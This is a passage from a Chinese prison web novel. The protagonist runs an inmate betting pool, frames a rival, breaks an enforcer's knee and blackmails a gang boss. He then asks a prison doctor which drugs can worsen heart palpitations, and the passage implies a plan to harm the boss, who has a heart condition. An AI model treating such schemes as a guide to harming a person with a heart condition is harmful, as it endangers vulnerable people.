而且我要他‘当场结算’,是要他把‘赌资’聚拢起来,目标明显。”
阿彪听到这个要求,起初有些怀疑,但禁不住对“独家内幕消息”和更大利润的渴望。
加上瘦皮猴等人煽风点火说“林燃这是想看看咱们的实力”。
最终还是同意了。他对自己在二监区的控制力很有信心,认为在自己的地盘搞,安全。
第四步,火上浇油。
就在阿彪紧锣密鼓准备开盘的当天下午,林燃做了一件事。
他以“整理旧报纸发现疑似违禁涂鸦”为由,通过老赵头,向狱侦科的年轻干事陈安报告。
陈安很快过来。
林燃将一份几个月前的《体坛周报》递给他,指着中缝一处用圆珠笔写的几行小字:“陈干事,你看这个。”
那几行字写的是:
“10月7日,阿曼,主场必胜。不会延期,押国足出线早补仓!”
字迹潦草,像是随手记下的。
陈安看了皱眉:“这能说明什么?”
“我整理报纸时发现的。”
林燃语气平静,“这字迹很新,不像几个月前写的。而且内容......
像是在传递什么赌博信息。我听说最近有些监区不太太平,所以觉得应该上报。”
陈安眼神锐利地看了林燃一眼。他知道林燃和之前的赌球传闻有关,但这次林燃主动上报“线索”,态度很配合。
他收起了报纸:“知道了。你做得对,以后发现任何异常都要及时报告。”
林燃点头,不再多说。
他选择陈安,是因为陈安相对正直,又有往上爬的野心。
这种涉及狱内纪律的线索,他一定会重视。做完这一切,林燃回到了监舍。他像往常一样洗漱,上床,闭目养神。
接下来,只需要等待。
两天后的晚上,二监区突然被紧急集合。
狱侦科科长谷彦君亲自带队,突击检查。
据说是有匿名举报,称二监区有人大规模聚众赌博,赌资巨大。
搜查结果让谷彦君震怒。
在阿彪的铺位下和几个同伙那里,搜出了大量香烟、方便面、罐头,甚至还有一小叠现金。
更重要的是,找到了记录赌注的账本,上面清晰地记录着关于“10月7日足球比赛是否延期”的投注情况,涉及人数二十余人,实物赌资折算金额惊人。
人赃并获。
阿彪当场被戴上重镣,押往禁闭室。
他的几个核心手下也未能幸免。
二监区风声鹤唳。
第二天,消息传遍整个监狱。所有人都在议论阿彪的愚蠢和倒霉。
狱方召开了紧急纪律整顿大会,副监狱长李昌东亲自讲话,严厉斥责狱内赌博行为,宣布将对涉事人员从严处理,并开展为期一个月的专项清查。
而原本笼罩在三监区、特别是林燃头上的怀疑目光,自然而然地转移了。
比起阿彪人赃并获的“大案”,之前那些关于足球赌球的模糊传闻,似乎不值一提。
何况,林燃这段时间深居简出,除了阅览室就是监舍,没有任何把柄。
放风时,铁头凑到林燃身边,憋着笑,低声道:“燃哥,绝了!阿彪那孙子这次起码加刑一年!他那几个手下也跑不了。
现在二监区乱成一锅粥,谁还敢提赌球的事?”
林燃看着操场上脸色铁青来回巡视的狱警,淡淡道:
“记住,赌局彻底停了。所有账目,烧掉。赢的点数,等过段时间,一点一点,用最不起眼的方式慢慢兑。告诉兄弟们,管住嘴,我们从来没玩过什么赌球。”
“明白!”
铁头用力点头,看向林燃的眼神里充满了敬畏。
第三十一章 笑面佛
借刀杀人,祸水东引。
不费自己一兵一卒,不仅化解了自身危机,还除掉了潜在对手,更无形中震慑了其他觊觎者。
这就是林燃的监狱法则:
暴力是底牌,但智慧,才是真正行走于这黑暗丛林间的利刃。
而林燃的足球赌盘,悄无声息地进入了“休眠期”。
狱侦科那边,老谷科长没再找老赵头打听,似乎注意力被转移了。
但林燃知道,这只是暂时的平静。
第四轮,中国队主场2-0战胜乌兹别克斯坦,四轮战罢,三胜一平积10分,高居小组第一,出线形势一片光明。
监狱里,那些押了“能出线”的犯人喜形于色,虽然暂时兑不了现,但心里有底。
押了“不能”的则垂头丧气,有些人开始找铁头商量,能不能“提前结算”,认赔离场。
林燃让铁头放出话:
可以提前结算,但只能按原押注额的70%兑付点数。
大部分输家选择了割肉,少数不甘心的还在硬撑。
这一波操作,林燃又回收了近500点,手中的流动资金更加充裕。
然而,更大的危机,正在悄然逼近。
这天下午五点,林燃结束阅览室的工作,准备回监舍。
刚走出综合楼,就被两个陌生犯人拦住了。
两人都三十出头,身材精悍,眼神不善。
其中一个脸上有块白癜风,从眉骨斜到嘴角,让他笑起来显得格外狰狞。
“林燃?”白癜风开口,声音沙哑。
林燃停步,目光扫过两人:“有事?”
“我们老大想跟你聊聊。”
另一个平头男人接口,“关于你那个......球盘的事。”
“你们老大是谁?”
“去了就知道。”
白癜风侧身,做了个“请”的手势,动作却带着不容拒绝的压迫感。
林燃看了看周围,不远处有两个狱警在聊天,却故意没往这边看。
他心里一沉,面上还是点点头:
“带路。”
两人一左一右,带着林燃穿过操场,走向监狱最深处那栋老旧的劳动厂房。
那里平时是加工服装的车间,下班后空无一人,只有几盏昏黄的电灯亮着。
厂房角落里,堆着半人高的布料废料。
一个人背对着门口,站在阴影中。
“佛爷,人带来了。”
白癜风上前一步,对着阴影里的身影恭敬道。
那人转过身。
四十多岁,光头,身材不高但很结实,穿着囚服,但手腕上戴着一块明显不该出现在这里的金色手表。
脸上带着笑,笑容很温和,但双目中眼白吓人的多,有种非人的恐怖感。
特别那目光直直落在林燃身上,像打量一件货物。
林燃瞳孔微缩。
这个人,他前世听说过。
“笑面佛”——陈有仁。安江监狱里真正的地下皇帝之一,涉黑、开设赌场、故意伤害数罪并罚,判了无期,但在这里面依然能呼风唤雨。
传说他在外面还有生意,监狱里不少干部都拿过他的好处。
林燃站着没动:“佛爷找我,有事?”
“没事就不能找你聊聊天?”
陈有仁笑容不变,从口袋里摸出一包中华,自己叼上一支,又递给林燃一支。
能在这里抽中华,笑面佛是林燃见过的独一人。
林燃没接:“不会。”
“不会好,这玩意儿伤身体。”
陈有仁自己点上,深吸一口,吐出烟圈。
“我就是好奇,你一个刚进来几个月的新人,怎么没多久就能在阅览室干活?”
“运气好。”林燃简短回答。
“运气?”陈有仁笑了,笑声在空旷的厂房里回荡。
“光靠运气,可搞不定“鳄老大”,也摆不平老严,更搭不上李昌东那条线。”
他果然什么都知道,毫无疑问是自己监舍刀疤辉他们说的。
“小伙子,别紧张。”
陈有仁弹了弹烟灰。
“我不是来找你麻烦的。相反,我很欣赏你。有脑子,有手段,还有胆量。在这地方,这种人要么早死,要么......就能成事。”
林燃沉默,等他说下去。
“我陈有仁在这安江监狱十二年,从没见过你这么有意思的年轻人,一个多月干翻两拨人,还能搭上李昌东的线......”
他顿了顿,笑容里多了几分玩味:“我很好奇,你到底是哪路神仙?”
“我不是神仙。”
林燃说,“我就是个普通人。运气不好,被人栽赃,扔进了这里。”
“普通人?”陈有仁笑了,笑声在厂房里回荡,带着几分讥讽,“普通人可一来没多久就在阅览室干活,更不会......”
他忽然向前一步,拉近了和林燃的距离。
两人之间只剩不到两米。
林燃能闻到他身上淡淡的烟草味,还有一股若有若无的檀香气——那是佛珠长时间佩戴后浸入皮肤的味道。
“更不会,”
陈有仁压低声音,脸上的笑容终于完全消失。
“在我的人眼皮子底下,悄无声息地攒出一个足球赌盘,还把阿彪那种老油子都给装进去。”
厂房里一片死寂。
连白癜风和平头男都在重压下屏住呼吸。
林燃看着陈有仁的眼睛,那双眼睛里此刻没有任何笑意,只有冰冷的审视和一丝......好奇?
“佛爷消息很灵通。”
林燃说。
他没想过在这样的大佬面前装傻否认,那毫无作用,只会让自己陷入更危险的境地。
“在这地方,消息不灵通的人,活不长。”
陈有仁重新靠回阴影里,抽了口烟。
“不过你放心,我今天来,不是要抢你的生意。我感兴趣的是......你是怎么做到的?”
他弹了弹烟灰:
“阅览室的老赵头,是个油盐不进的老古板。
李昌东那条线,没点门道根本摸不着。
足球赌盘这种玩法,安江监狱从没见过。
你一个刚进来几个月的新人,凭什么?”
凭什么?
林燃在心里冷笑。
凭我活过两世,凭我在这座监狱里爬过十年!
凭我看遍了这里的黑暗和规则!
凭我知道每个人的秘密和弱点——包括你,陈有仁。
但这些话,他不能说。
“凭观察。”
林燃选择了部分真相。
“阅览室的报纸,犯人的聊天,干部的态度......信息都在那里,只是大多数人看不见。”
“观察。”陈有仁重复这个词,若有所思,“那你观察观察我,看出了什么?”
第三十二章 教训
这是一道考题。
也是一次试探。
林燃的目光在陈有仁身上停留了几秒,从平整的囚服,到手腕上的金表,再到脸上那副永远挂着的笑容。
“佛爷进来十二年,还能保持这样的状态,说明外面有人,里面也有人。”
林燃缓缓说道。
“手腕上的表是劳力士日志型,金表壳,狗牙圈,2000年新款。能把这东西带进来,还能天天戴着,不是一般的路子。”
陈有仁没说话,只是抽着烟,等着他继续说。
“身上有檀香味,应该是常戴佛珠。但指甲修剪得太整齐,指关节有老茧——不是干活磨的,是长期握某种工具形成的。”
林燃目光下移。
“皮鞋虽然旧,但擦得很亮。鞋底边缘有磨损,但前掌几乎没怎么磨......佛爷在监狱里,应该很少走路,或者,走的路都很平。”
他顿了顿,抛出了最关键的一句:
“而且,佛爷应该有心悸的毛病吧?进入谈话这十分钟,你摸了三次左胸口——不是习惯性动作,是下意识的按压。
抽烟的时候,吸得很浅,吐得很快,不敢深吸。”
陈有仁夹着烟的手指,几不可察地顿了一下。
就这一下,林燃知道自己说中了。
前世的记忆里,笑面佛在2003年保外就医,据说就是心脏问题。现在看来,这毛病早就有了。
“继续。”
陈有仁的声音听不出情绪。
“佛爷今天找我,表面上是为刀疤辉出头,实际上......”
林燃直视他的眼睛。
“是想看看,我能不能用。能用,就收编;不能用,就除掉。
毕竟,一个能悄无声息搞出这么大动静的新人,要么成为自己人,要么就不能留。”
厂房里的温度,似乎又降了几度。
林燃的话正中红心。
白癜风和平头男上前半步,眼神凶狠,兜里鼓鼓囊囊的,应该藏了凶器。
两人的手已经摸进了兜里。
陈有仁沉默地抽着烟,烟头的火光在昏暗中有节奏地明灭。
他就这样盯着林燃,足足盯了一分钟。
然后,他忽然笑了。
不是之前那种浮在表面的笑,而是真的笑出了声,笑得肩膀都在抖。
“好,好,好。”
他连说三个好字,把烟头扔在地上,用皮鞋碾灭。
“林燃,你比我想的还有意思。”
他重新打量林燃,眼神里少了些审视,多了几分真正的兴趣:
“你的盘,现在停了,可惜。”
陈有仁开始讲正事:
“但我知道,你没打算真停。你在等风头过去,等十强赛打完,中国队真出了线,到了明年正赛,那时候你还能弄大盘。对不对?”
林燃眼神微动,没承认也没否认。
“我有个提议。”
陈有仁凑近一步,烟味扑面而来。
“你的盘,以后我罩着。狱侦科那边,我打点;其他监区的麻烦,我摆平;
甚至你要兑现金,我也有渠道。作为回报......”
他伸出三根手指:
“利润,我分五成。”
五成。狮子大开口。
林燃看着那张笑呵呵的脸,缓缓摇头:
“佛爷,我这个盘,小打小闹,不值当您费心。”
“哦?”陈有仁笑容淡了些,“那就是拒绝了?”
“不敢。”林燃语气平静,“只是我这个人,习惯了自己做事。
出了事自己扛,赚了钱自己花。合作......怕坏了佛爷的规矩。”
“规矩?”陈有仁嗤笑一声。
“在这里面,我的规矩,就是规矩。”
气氛陡然凝固。
林燃站着没动,但全身肌肉已经绷紧。
他知道,今天如果谈崩了,可能走不出这个厂房。
“你是咬死不肯让我帮忙了?”
林燃咬了下后槽牙,现在笑面佛已经把话说开,就是要他继续弄赌球盘,还要占五成的利润。
可现在上面查得正严,他已经决心抽身。
这次赌球盘本就是赚一笔就走,做久了必定会出事,惹出今天这样的麻烦都算了,被谷彦军他们抓到,还得加刑。
林燃不想半辈子都困在这,肯定是要出去的。
想到这,他缓缓摇头。
“赌盘已经停了。狱侦科在查,阿彪刚出事,这时候再动,风险太大。
我以后也不想做赌局了,你想做,请尽情做就是,我保证不影响……”
“你是打定主意不能为我所用了?”
陈有仁打断林燃的话。
脸上的笑容,一点一点收了起来。
“林燃,”他声音很轻,却字字清晰。
“在这安江监狱,只有两种人。一种是自己人,一种是死人。你选哪个?”
威胁,赤裸裸的威胁。
但林燃还是吐出几个字:“我选第三种。”。
“好,可以,林燃。”
陈有仁下定决心,再次开口,声音不大,却在空旷厂房里带着回音。
这次他把手里的烟往地上一扔,用力踩了踩。
“听说,你把我的人,收拾得挺惨?”
他指的是刀疤辉。
刀疤辉是“笑面佛”手下的一条狗,之前笑面佛还能看在钱的面子上谈合作。
现在林燃不给面子,这条狗被打,主人当然要找回面子了。
林燃心中一凛,这是要动手直奔主题,在彻底撕破前,佛爷这种讲规矩的老大,要为动手找个师出有名的理由。
“佛爷说的是312的刀疤辉?”
林燃语气平稳,听不出情绪。
“监舍里有点小摩擦,已经过去了。”
“小摩擦?”
陈有仁笑容深了些,踱步走近,手腕上那块金劳在昏黄灯光下反射出刺眼的光。
“断了两根肋骨,脖子上开了口子,这叫小摩擦?那我的人,是不是太不值钱了?”
他话音落下,厂房角落的阴影里,又走出两个人,一左一右堵住了林燃的退路。
加上带他来的白癜风和平头男,一共四人,呈合围之势。
后出来的两人手里没拿东西,但袖子挽起,露出粗壮的小臂,眼神像钉子一样扎在林燃身上。
压力陡然倍增。
空气里弥漫开一股无形的敌意。
林燃站在原地没动,目光扫过围上来的四人,最后落回陈有仁脸上。
“佛爷想替手下出头?”
“出头?”陈有仁摇摇头,笑容不变。
“那太低级了。我只是想看看,能让我手下两条看门狗都吃瘪的人,到底有几斤几两。”
他微微抬了抬下巴。
站在林燃左后方的那个壮汉动了,毫无预兆,一拳直捣林燃后腰!
速度极快,带着风声,是下了狠手,直奔肾脏位置!
第三十三章 反击
这一下若是打实,普通人当场就得瘫倒。
但林燃动了。
在拳头即将及体的瞬间,他仿佛背后长眼,腰肢以不可思议的柔韧度向右侧猛地一拧,险之又险地让过了那记重拳。
同时,他左脚为轴,右脚如同毒蝎摆尾,向后闪电般蹬出,精准地踹在偷袭者支撑腿的膝盖侧方!
这是警校搏击队常练的侧踹!
专踹支撑腿关节!
“咔嚓!”
一声令人牙酸的脆响!
“啊——!”那壮汉惨叫一声,抱着扭曲变形的膝盖轰然倒地,疼得浑身抽搐,瞬间失去了战斗力。
一切发生在电光石火之间。
另外三人甚至没看清林燃怎么动作的,同伙就已经倒地哀嚎。
陈有仁脸上的笑容终于消失。
“好身手。”
他冷冷道,却抬手止住了想要一拥而上的白癜风和平头男。
“哪里学的?一般人没你这身手。”
林燃缓缓收回脚,呼吸甚至都没乱。
他看向陈有仁,眼神里没有丝毫得意或恐惧,只有一种深潭般的平静。
“佛爷,下马威给过了。我们可以再聊聊吗?”
他清楚,刚才那一下反击,固然漂亮,但也彻底激化了矛盾。
笑面佛这种人物,面子比什么都重要。
手下被当面废了一个,他不可能善罢甘休。
所谓的“聊聊正事”,不过是暴风雨前短暂的平静。
果然,陈有仁沉默了几秒,忽然拍了拍手。
“漂亮,真漂亮。”
他重新笑起来,但这笑容比刚才冷冽十倍。
“不过,年轻人,你是不是觉得,会两下子拳脚,就能在这里横着走了?”
他慢悠悠地又从口袋里摸出包中华,点上一支,深吸一口,烟雾缓缓吐出。
这次他没给林燃散烟。
“可以啊,很能打是吧。我陈有仁在安江混了这么多年,靠的不是能打,是规矩。”
他夹着烟的手指点了点林燃,“我的规矩就是,动了我的人,得付出代价。”
他说完,白癜风吹了下口哨,又涌进来几名在外围把风的手下。
小小厂房里,林燃已经陷入重围。
6、7……8个人了!
“代价?”
默数了一下包围自己的人数,林燃迎着他的目光,“佛爷想要什么代价?”
“简单。”
陈有仁弹了弹烟灰。
“你那只踹人的右脚,自己废了。然后,从312滚出去,以后见到我的人,绕道走。
你那点小盘口赚的钱,分一半出来,给阿辉和地上这位兄弟当医药费。这事,就算了了。”
条件极其苛刻,摆明了是要林燃彻底服软,自废武功,交出财路,从此在监狱里抬不起头。
白癜风和平头男闻言,脸上露出狞笑,再次逼上前一步。
地上那个膝盖被踹碎的壮汉还在呻吟,看向林燃的眼神充满了怨毒。
林燃知道,今天不可能善了。
硬拼?
对方八个人,就算能再放倒一两个,自己也绝对讨不了好,很可能会废在这。
就算侥幸逃出去,也会彻底撕破脸,以后在安江监狱将永无宁日。
他需要破局。
用脑子破局。
白癜风和平头男的手已经彻底伸进了兜里,只要陈有仁一个眼神,他们就会扑上来。
电光石火间,林燃的大脑以前所未有的速度运转。
笑面佛的生意、他的软肋、监狱里的关系网、刚才他抽烟的细节……在这一刻被拼凑、重组——
陈有仁,1960年生,安江本地人。
1990年因故意伤害、组织黑社会性质组织等罪名被判无期。
入狱前是安江建材市场的幕后老板之一,关系网复杂。
入狱后,通过外面的人脉和金钱打点,在监狱里建立起自己的势力。
2003年因“严重心脏病”保外就医,出狱后不到三年,又因新的涉黑案件被抓,二审改判死刑,2006年执行......
但有一个细节,林燃记得很清楚。
在2002年的一次监狱整顿中,笑面佛的手下被抓出好几个,他本人也差点被牵连。
后来是外面的人花了大力气,才把他保下来。
而那次的整顿,起因是一个犯人的举报——举报的内容,不是赌博,不是打架,而是......
“佛爷,”林燃忽然开口,声音不大,却清晰地压过了地上的呻吟,“您外面的建材市场,生意还好吗?”
陈有仁夹烟的手指微微一顿。
一直威逼的笑面佛没接话,但林燃却主动开口,声音平静得像在聊天气。
“明年春天,西城区旧城改造计划就要启动,届时第一批拆迁的三家建材市场里,有两家是您的产业吧?”
陈有仁的脸色,第一次变了。
那层永远挂在脸上的笑容,蛇蜕一样褪去,露出底下真实的冰冷和震惊。
“你怎么知道?”
他声音压得很低,但林燃听出了那一丝不易察觉的颤音。
“猜的。”
林燃面不改色。
“我说了我善于‘观察’,您手上的表,身上的烟,还有能在监狱里维持这样的状态,需要的不是小钱。
安江能赚大钱的行业不多,建材是其中之一。而明年的旧城改造,是块肥肉。”
他顿了顿,抛出了真正的杀招:
“但我也听说,那两家市场的手续......有点问题。
特别是土地性质变更那块,如果深查下去,恐怕不只是违规那么简单。”
厂房里死一般的寂静。
白癜风和平头男面面相觑,他们听不懂林燃在说什么,但他们能看出,自家老大的脸色,从未如此难看过。
陈有仁死死盯着林燃,那双深潭般的眼睛里,此刻翻涌着惊疑、愤怒,还有一丝......恐惧?
“你到底是什么人?”
他一字一句地问。
“我说了,我就是个普通人。”林燃迎着他的目光。
“但我这个人,有个习惯——喜欢观察,喜欢记东西。特别是那些看似无关紧要的细节。”
他往前走了一步,拉近了和陈有仁的距离。
这一次,是他在施压。
“佛爷,我对您的生意没兴趣。我的赌盘,也不会碰您的利益。
大家井水不犯河水,相安无事,最好。”
林燃声音不高,但每个字都像钉子一样敲进陈有仁耳朵里。
“但如果非要选边站......我建议您,别把我往死路上逼。毕竟,狗急了会跳墙,人急了......”
第三十四章 底牌
他顿了顿,没说完。
但意思,已经清清楚楚。
陈有仁的胸口剧烈起伏着,左手又下意识地按了上去。
他的脸色有些发白,额角渗出了细密的汗珠。
林燃知道,自己赌对了。
前世那场监狱整顿,笑面佛差点栽进去,就是因为外面产业的问题被人举报。
虽然最后他逃过一劫,但这件事一直是他最大的心病。
而现在,林燃戳中了这个心病。
“好......”陈有仁从牙缝里挤出一个字,脸上的肌肉在抽搐,那副常年挂着的笑容,此刻已经彻底破碎。
“林燃,你好样的。”
他深吸一口气,强迫自己冷静下来:
“今天的话,我就当没听过。刀疤辉的事,到此为止。你的赌盘......你爱怎么弄怎么弄,我不管。”
“多谢佛爷。”
林燃点点头,语气依旧平静。
“但是。”
陈有仁盯着他,眼神阴鸷。
“你给我记住了。在这安江监狱,知道得太多的人,通常活不长。你今天能走出这个厂房,不代表明天还能醒过来。”
“我明白。”
林燃说,“佛爷的提醒,我记下了。”
陈有仁不再说话,只是挥了挥手。
白癜风和平头男等人让开路,但看林燃的眼神,已经多了几分忌惮和警惕。
林燃转身,不疾不徐地走向厂房门口。
他的背挺得笔直,脚步平稳,每一步都踏在水泥地上,发出清晰的回响。
直到走出厂房,踏入外面昏暗的走廊,他才轻轻吐出一口气。
林燃回到312监室时,已是晚上七点。
监室里,刀疤辉三人正蹲在便池旁的水泥地上,就着一小碟咸菜啃窝头。
见林燃推门进来,三人动作同时一僵。
林燃没看他们,径直走向头板位置。
他的铺盖被人仔细铺好了,被角叠得整整齐齐——不是他早上离开时的样子。
证明他现在监舍老大的地位没变。
看来刀疤辉几人还是学乖了些。
周晓阳从第二板位置坐起身,眼神里带着担忧:“林哥,你......”
“没事。”
林燃简短回答,脱掉外套挂好,在铺位上坐下。
他的目光扫过监室。
刀疤辉低头扒饭,但拿筷子的手有些抖。
瘦高个和矮壮个挤在一起,眼神躲闪,连余光都不敢往这边瞟。
那种畏惧,已经深入骨髓。但更深层的,是一种忌惮——
他们不知道林燃和陈有仁谈了什么,他们本以为借着老大的力,这次林燃再也回不来宿舍,却没想到他居然能从“笑面佛”的地盘全身而退。
这年轻人深不可测!
未知,比已知的暴力更让人恐惧。
林燃没解释,也没必要解释。
夜里十点,监室熄灯。
铁栅栏外的走廊只剩下应急灯惨白的光,从门上的观察窗斜斜照进来,在地面切出一块块明暗交错的格子。
林燃睁着眼,盯着天花板上斑驳的水渍。
他脑海中复盘着今天的每一个细节:
陈有仁那张笑里藏刀的脸,厂房里昏暗的光线,倒地哀嚎的壮汉,还有自己说出的那些话——每一帧画面都在脑海里反复播放。
他知道,今天这关暂时过了,但也彻底得罪了“笑面佛”。
这种人物,面子比天大。
自己当着几个手下的面戳穿他最深的秘密,还废了他一个人,这笔账不可能就这么算了。
明枪易躲,暗箭难防。
陈有仁在安江监狱经营十几年,想弄死一个犯人,有太多办法可以不留痕迹。
必须尽快增强自己的实力,建立更稳固的防御网。
凌晨两点,林燃轻轻翻身坐起。
对面铺位上的周晓阳几乎是同时睁开了眼——他根本没睡。
“林哥?”周晓阳用气声问。
林燃做了个噤声的手势,指了指监室门口。
周晓阳会意,蹑手蹑脚下床,跟着林燃走到监室靠铁门的位置。
这距离刀疤辉三人的铺位最远,说话声不容易被听见。
“最近睡觉警醒点。”林燃压低声音,“刀疤辉他们可能会反水。”
周晓阳脸色一白:“笑面佛要动手?”
“暂时不会,但他不会等太久。”林燃看着这个比自己小两岁的年轻人,“晓阳,我需要你帮我做件事。”
“林哥你说。”
“盯着监区里所有可疑的人。特别是……。”
周晓阳随着林燃的目光往旁边角落里的刀疤辉三人撇了一眼,就用力点头:“我记住了。”
林燃拍了拍他的肩膀,“从今天起,你是我的人。有我一口吃的,就不会让你饿着。”
这句话很轻,但在寂静的监牢里,重如千钧。
周晓阳眼圈瞬间红了,用力抿着嘴,没让眼泪掉下来。
…………
第二天,放风时间。
林燃在操场的东南角找到了铁头。
这个抢劫犯正蹲在地上,用树枝画着什么。
见林燃过来,他立刻起身,左右看了看,确定没人注意这边,才压低声音:“林哥,你找我?”
“点数兑换得怎么样了?”林燃问。
“按你说的,分批兑。”
铁头从怀里掏出一张叠得皱巴巴的纸条,上面用铅笔写着密密麻麻的小字,
“这三天换了三百二十点,主要是烟和罐头。剩下的那些输家,还有两百多点愿意割肉,但......”
“但什么?”
铁头搓了搓手,表情有些为难:
“但他们要现金。说点数再值钱,也是监狱里的东西,出不去。家里老人生病、孩子上学,都要用真钱。”
林燃沉默了几秒。
他理解。前世他瘫痪在床时,母亲为了几十块钱的医药费,能捡一整天破烂。
“能兑现金吗?”他问。
“能是能......”铁头声音压得更低,“但渠道少,抽成高。监狱里能搞到现金的,就那么几个人。首先,是那个笑面佛......”
“找别人。”
林燃不等他说完,就打断说,“二监区有个叫‘老拐’的,你知道吗?”
铁头一愣:“那个瘸了一条腿的老诈骗犯?他......他有路子?”
“他以前专骗退休老干部,很多受害人碍于面子不报案,私了给现金。”
林燃根据前世记忆说道。“
他入狱后,那些现金渠道应该还在。你去找他,就说抽成可以谈。”
第三十五章 拳赛
铁头将信将疑,但还是点头:“我下午就去。”
“还有。”
林燃从口袋里摸出一个小布袋——
那是用旧袜子改的,递给铁头。
“这里面是五十点,换成好烟和肉罐头,分给312的人,还有你手底下那几个靠得住的。”
铁头接过布袋,掂了掂,眼神复杂:
“林哥,你这是......”
“收买人心。”
林燃说得直白。
“阿彪倒了,赌盘停了,很多人会觉得我也和他们一样没用了,赌局不作数了。得让他们知道,我林燃是个说话算话的人。”
铁头重重点头:“我明白了。”
“另外。”
林燃看向操场另一头,那里聚集着一群身材壮硕的犯人,正在做俯卧撑。
“监狱里,除了赌球,还有别的赚钱路子吗?”
铁头顺着他的目光看去,想起一事:“林哥,有倒是有一个,你知道......拳台么?”
“仔细说说。”
铁头咽了口唾沫,把林燃拉到更偏僻的角落:
“那是要命的买卖。每个月第三个周六晚上,监狱后面废弃的锅炉房里,会开黑拳赛。参加的都是在外面就练过,或者进来后不要命的。一场打下来,赢家能拿到一两千,但......”
“但什么?”
“但会出人命。”
铁头的声音有些发颤。
“那不是打架,是玩命。上场的人,都是签了生死状的。而且因为庄家是外面的人,钱给得狠,打死打残,狱方睁只眼闭只眼,就当犯人斗殴处理。
上个月,三监区一个练散打的,被活活打死了。狱方说是‘突发急病’,但谁都知道是拳台上打的!”
铁头以为自己吓住了林燃,可这疯子却笑了。
“你觉得我会怕?”
那笑容很淡,却让铁头莫名打了个寒颤。
“咳咳,没有……”
“继续讲,有哪些高手?”
“现在安江监狱里,公认的拳台高手有五个。”
铁头掰着手指头数。
“按监区算的话,一监区的‘铁拳李’,以前是省散打队的,下手黑,专打关节。
二监区的‘疤脸’,越南回来的,据说在那边打过地下拳,会用肘和膝。
三监区就是笑面佛手下的‘坦克’,两百多斤,力气大得吓人,但速度慢,听说最近好像出了什么事,腿骨折了,暂时不会出战……”
听到这,林燃嘴角微微一扯,轻笑了一下。
这“坦克”他已经交过手了,就是昨天在厂房,跟着笑面佛包围自己,想偷袭却被一脚踹倒的那个壮汉。
“怎么了?”
铁头注意到林燃的笑。
“没什么,我想起高兴的事……继续吧。”
铁头有点搞不懂自己这新老大,看起来年纪不大,却完全猜不透他在想什么,此时继续介绍起拳台的事:
“……然后就是四监区的‘猴子’,练传武的,身法滑。
五监区......五监区那个最神秘,外号‘医生’,没人见过他真打,但跟他打过的人,不是断手就是断脚,而且伤得特别‘专业’。”
林燃静静听着,大脑飞速运转。
“赔率呢?”林燃打断他。
铁头一愣:“啊?”
“这些人的比赛,赔率怎么开?”
“这个......要看对手。”铁头挠挠头。
“像‘猴子’这种公认的顶尖,打新人,赔率可能就1赔1.2,1赔1.3。
但如果对上同样有名的,比如‘疤脸’,那赔率就高了,听说最高开过1赔3。不过那种比赛少,庄家也怕出意外。”
林燃点点头,心里有了盘算。
“帮我留意着,有合适的场子,告诉我。”
他说完,起身要走。
铁头急了,一把拉住他袖子:“燃哥!你真要去?林哥,我知道你能打。但那些人都不是善茬......”他
犹豫了一下,还是说了出来。
“而且有些比赛是‘安排’好的。庄家想谁赢,谁就能赢。
咱们外人去,就是送钱,搞不好还得搭上命,
而且我听说,笑面佛最近在找新拳手,坦克受伤后,准备培养起来对付‘医生’。你要是这时候上台,我怕......”
“怕我被当枪使?”
林燃又笑了,铁头这下不敢乱说什么。
“不急。”
林燃说,“先帮我兑现金。拳台的事......我再想想。”
说完,他便往医务室去,之前手臂上的伤口需要复查。
监狱医院在一栋独立的二层小楼,外墙刷着斑驳的淡绿色涂料,窗户上装着细密的铁丝网。
一楼是诊室和药房,二楼是几间简陋的病房。
空气里有消毒水和某种草药混合的味道,不算难闻,但总让人觉得疏离。
苏念晚的诊室在走廊尽头。
“进来。”声音清冷。
狱警提着手铐把人带入。
林燃第二次来,每次进门都会闻到一股独特清香。
接着,苏念晚正坐在办公桌前写病历。她今天没穿白大褂,只穿了件浅灰色的毛衣,长发松松挽在脑后,露出白皙的脖颈。
她抬头,金丝眼镜后的目光在林燃脸上停留了一秒,然后移到他手臂上:“坐。”
林燃在就诊椅上坐下。
狱警没进来,只站在门口等着。
苏念晚起身走到林燃面前,“袖子卷起来。”
她的手指很凉,触碰到皮肤时,林燃下意识地绷紧了肌肉。
伤口愈合得不错,缝线处只剩下一道粉红色的新疤。苏念晚用镊子夹着酒精棉球,动作熟练地消毒、剪线、抽出。
整个过程很安静,只有器械碰撞的轻微声响。
“恢复得挺好。”苏念晚摘下手套,
走到水池边洗手,“注意别沾水,再观察一周。”
“谢谢苏医生。”林燃放下袖子,却没起身。
苏念晚转过头,金丝眼镜后的眼睛里带着询问:“还有事?”
“想跟您打听个事。”
林燃斟酌着措辞,“我有个......朋友,在别的监区。他心脏不太好,有时候会突然心慌、喘不上气。这种病,平时该怎么注意?”
苏念晚擦手的动作顿了顿:
“心脏问题要看具体类型。你朋友有诊断吗?”
“没有。”
林燃摇头,“监狱医院的条件,您也知道。他就是自己觉得不舒服,也不敢说,怕被调去病号监区。”
第三十六章 摊牌
这是实话。
安江监狱的病号监区条件更差。
而且管理混乱,很多犯人宁愿硬撑也不愿意去。
苏念晚沉默了几秒,走回办公桌后坐下:
“如果是心律失常或者心肌缺血,要避免剧烈运动、情绪激动、熬夜。还有......”
她看了林燃一眼,突然止住话头。
“没什么了。”
“是不是有一些药物会诱发或者加重症状?”
林燃看出苏念晚刚刚欲言又止的样子,应该是想起有些药物也能引发心悸,但她却下意识地避开了这个选项。
“比如某些支气管扩张剂,或者大剂量的咖啡因。”
被拆穿的苏念晚只能说着,同时从抽屉里拿出一本旧版的《临床药理学》,翻到某一页,推给林燃看。
“但这些药在监狱里很难碰到。你朋友大可放心,如果真的不舒服,最好还是申请正规检查。”
林燃扫了一眼书页,记下了那几个药名。
“我会劝他的。”
他合上书,还给苏念晚。
苏念晚接过书,却没有立刻放回抽屉。
她的指尖在书封上无意识地摩挲了一下,这个细微的动作被林燃捕捉到了。
她的目光没有与林燃对视,而是转向了窗外的铁丝网,声音依旧平稳,却似乎少了些之前的清冷感:
“你问得这么具体,不像是单纯替朋友打听。”
林燃心中一动,面上却不动声色:“苏医生觉得呢?”
苏念晚转回视线,金丝眼镜后的眼眸清澈依旧,
但林燃看到她放在桌下的左手,轻轻攥住了白大褂的一角——那是下意识的紧张。
“我只是个医生,只管看病。”
她淡淡地说,站起身,做出送客的姿态。
“伤口没问题了,你可以回去了。”
林燃没有动。
他的目光落在苏念晚身后的药柜上。
那是老式的深棕色木柜,玻璃门里整齐码放着各种药瓶和器械。
